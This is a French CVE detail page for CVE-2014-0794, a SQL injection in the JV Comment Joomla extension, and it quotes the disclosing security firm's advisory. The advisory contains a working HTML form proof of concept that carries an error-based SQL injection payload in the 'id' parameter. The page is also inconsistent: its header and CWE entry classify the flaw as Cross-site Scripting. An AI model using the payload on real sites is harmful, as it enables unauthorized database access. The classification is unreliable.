CVE-2014-0794 : Détail

CVE-2014-0794

Cross-site Scripting
A03-Injection
0.98%V3
Network
2014-01-26
19h00 +00:00
2018-10-09
16h57 +00:00
CVE.org
NVD
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Descriptions du CVE

SQL injection vulnerability in the JV Comment (com_jvcomment) component before 3.0.3 for Joomla! allows remote authenticated users to execute arbitrary SQL commands via the id parameter in a comment.like action to index.php.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 31175

Date de publication : 2014-01-23 23h00 +00:00
Auteur : High-Tech Bridge SA
EDB Vérifié : No

Advisory ID: HTB23195 Product: JV Comment Joomla Extension Vendor: joomlavi.com Vulnerable Version(s): 3.0.2 and probably prior Tested Version: 3.0.2 Advisory Publication: January 2, 2014 [without technical details] Vendor Notification: January 2, 2014 Vendor Patch: January 14, 2014 Public Disclosure: January 23, 2014 Vulnerability Type: SQL Injection [CWE-89] CVE Reference: CVE-2014-0794 Risk Level: Medium CVSSv2 Base Score: 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in JV Comment Joomla Extension, which can be exploited to perform SQL Injection attacks. 1) SQL Injection in JV Comment Joomla Extension: CVE-2014-0794 The vulnerability exists due to insufficient validation of "id" HTTP POST parameter passed to "/index.php" script. A remote authenticated attacker can execute arbitrary SQL commands in application's database. The following exploitation example displays version of MySQL database: <form action="http://[host]/index.php" method="post" name="main"> <input type="hidden" name="option" value="com_jvcomment"> <input type="hidden" name="task" value="comment.like"> <input type="hidden" name="id" value="1 AND 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2)))"> <input type="submit" id="btn"> </form> ----------------------------------------------------------------------------------------------- Solution: Update to JV Comment 3.0.3 More Information: http://extensions.joomla.org/extensions/contacts-and-feedback/articles-comments/23394 ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23195 - https://www.htbridge.com/advisory/HTB23195 - SQL Injection in JV Comment Joomla Extension. [2] JV Comment Joomla Extension - http://www.joomlavi.com/joomla-extensions/jv-comment.html - With JV Comment, adding a comment system to your articles is now as simple as installing a plug-in and adjusting a few parameters. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing. ----------------------------------------------------------------------------------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

Products Mentioned

Configuraton 0

Joomla>>Com_jvcomment >> Version 3.0.2

    Joomla>>Joomla\! >> Version *

    Références

    http://www.securityfocus.com/bid/64661
    Tags : vdb-entry, x_refsource_BID
    http://www.osvdb.org/101960
    Tags : vdb-entry, x_refsource_OSVDB
    http://www.exploit-db.com/exploits/31175
    Tags : exploit, x_refsource_EXPLOIT-DB